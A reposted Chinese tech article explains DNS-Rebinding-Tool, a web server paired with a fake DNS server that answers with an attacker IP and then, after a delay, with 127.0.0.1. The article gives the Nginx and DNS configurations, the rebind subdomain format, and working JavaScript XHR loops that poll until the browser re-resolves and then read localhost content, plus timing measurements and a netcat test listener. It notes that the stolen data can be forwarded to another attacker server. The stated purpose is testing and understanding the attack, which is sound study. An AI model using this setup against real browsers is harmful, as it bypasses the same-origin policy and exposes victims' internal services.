溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

DNS-Rebinding-Tool是什么腳本

發(fā)布時間:2021-12-24 16:53:49 來源:億速云 閱讀:145 作者:小新 欄目:網(wǎng)絡安全

這篇文章將為大家詳細講解有關DNS-Rebinding-Tool是什么腳本,小編覺得挺實用的,因此分享給大家做個參考,希望大家閱讀完這篇文章后可以有所收獲。

DNS-Rebinding-Tool

DNS-Rebinding-Tool是一款帶有自定義腳本的DNS重綁定工具,該項目集成了多種功能,可以用來測試DNS重綁定攻擊,并幫助我們更加深入地了解這種類型的網(wǎng)絡攻擊。該工具由一個Web服務器和一個偽DNS服務器組成,這個偽DNS服務器主要功能就是用來響應用戶請求的。

Web服務器的根索引允許用戶自定義配置,并且可以使用基礎的Web圖形界面執(zhí)行攻擊測試。

Web服務器主機的基礎Nginx配置如下:

server {  listen 80;  server_name dnsrebindtool.43z.one;  location / {    proxy_pass http://localhost:5000;  }}

Web服務器的/attack路徑可以讀取GET參數(shù)“script”,該參數(shù)可以提供一個Basic64編碼的JavaScript腳本,并以嵌入在常規(guī)HTML頁面中的解碼代碼來響應請求:

% curl "http://dnsrebindtool.43z.one/attack?script=YWxlcnQoMSk=" <html>    <script>    setTimeout(function(){      alert(1)     }, 3000)  </script></html>

在我注冊的域名43z.one中,我針對子域名rebind配置了一條NS記錄,并指向了該工具托管的IP地址:

ns       A   81.4.124.10rebind   NS  ns.43z.one

DNS服務器只會響應下列各式的查詢請求:

evcmxfm4g . 81-4-124-10 . 127-0-0-1 .rebind.43z.one

第一個部分(子域名)是一個隨機ID,每次攻擊會話會生成一個這樣的隨機ID,第二個部分是DNS服務器在兩秒后需要響應的IP地址,第三部分是時間間隔過后DNS服務器需要響應的IP地址:

$ date && nslookup -type=a evcmxfm4b.81-4-124-10.127-0-0-1.rebind.43z.one Fri Feb  2 21:18:20 CET 2018Server:   8.8.8.8Address:  8.8.8.8#53Non-authoritative answer:Name: evcmxfm4b.81-4-124-10.127-0-0-1.rebind.43z.oneAddress: 81.4.124.10$ date && nslookup -type=a evcmxfm4b.81-4-124-10.127-0-0-1.rebind.43z.oneFri Feb  2 21:18:23 CET 2018Server:   8.8.8.8Address:  8.8.8.8#53Non-authoritative answer:Name: evcmxfm4b.81-4-124-10.127-0-0-1.rebind.43z.oneAddress: 127.0.0.1

最后就是針對重綁定域名的Nginx配置項了,工具只接受/attack路徑,其他傳遞過來的參數(shù)都會以錯誤信息予以響應,這種機制允許攻擊者攻擊端口80上的其他服務,例如/api/monitoring/stats:

server {  listen 80;  server_name *.rebind.43z.one;  location / {    return 404;  }  location /attack {    proxy_pass http://localhost:5000/attack;  }}

DNS緩存回收

var xhr = new XMLHttpRequest()xhr.open('GET', 'czg9g2olz.81-4-124-10.127-0-0-1.rebind.43z.one', false)xhr.send()// first time the browser sees this domain it queries the dns server// and gets 81.4.124.10// sleep for more than 2 secxhr.open('GET', 'czg9g2olz.81-4-124-10.127-0-0-1.rebind.43z.one', false)xhr.send()// still uses 81.4.124.10 (AND NOT 127.0.0.1)// NO dns query happened browser used cached IP

這也是此類攻擊存在的一個“通病”,為了實現(xiàn)攻擊,瀏覽器需要重新發(fā)送一個新的DNS查詢請求來獲取第二個IP地址。我的測試結(jié)果表明,我們可以使用下列腳本來測量WAIT變量(查詢請求的發(fā)送時間間隔)的最優(yōu)值,我的測試平臺為Debian buster/sid,瀏覽器版本為Chromium 62.0.3202.89:

var WAIT = 200var start = Date.now()var interval = setInterval(function(){  var xhr = new XMLHttpRequest()  xhr.open('GET', '//' + $REBIND_DOMAIN, false)  xhr.send()  if(xhr.status == 200){    document.body.innerHTML = (Date.now() - start)/1000    document.body.innerHTML += xhr.responseText    clearInterval(interval)    return  }}, WAIT)
WAIT值/毫秒Chrome發(fā)送的請求數(shù)查詢DNS的間隔
070060
1070060
10060063
12050063
15040063
18040075
20030063
22030069
25030078
28030087
30020063
32020067
34020071
36020075
38020079
40020083
1000100103

完整測試:

echo -e "HTTP/1.1 200 OK\n\n TOPSECRET" | sudo nc -lvp 80 -q1 127.0.0.1

這個netcat實例可以提供一些我們所感興趣的內(nèi)容,這里我保留了默認的重綁定域名“$RANDOM$.81-4-124-10.127-0-0-1.rebind.43z.one”以及默認腳本。

var start = Date.now()var interval = setInterval(function(){  var xhr = new XMLHttpRequest()  xhr.open('GET', '//' + $REBIND_DOMAIN, false)  xhr.send()  if(xhr.status == 200){    document.body.innerHTML = (Date.now() - start)/1000    document.body.innerHTML += xhr.responseText    clearInterval(interval)    return  }}, 200)

訪問【dnsrebindtool.43z.one】,然后點擊“Attack”按鈕。打開開發(fā)工具的Network標簽,我們可以直接看到后臺所發(fā)生的的情況。我過濾掉了字符串“TOPSECRET”,我們的DNS重綁定攻擊成功繞過了SOP,為了要從iframe中獲取泄露的數(shù)據(jù),我們還需要使用 Window.PostMessage()或?qū)?shù)據(jù)轉(zhuǎn)發(fā)到攻擊者的另一臺服務器端。

關于“DNS-Rebinding-Tool是什么腳本”這篇文章就分享到這里了,希望以上內(nèi)容可以對大家有一定的幫助,使各位可以學到更多知識,如果覺得文章不錯,請把它分享出去讓更多的人看到。

向AI問一下細節(jié)

免責聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進行舉報,并提供相關證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI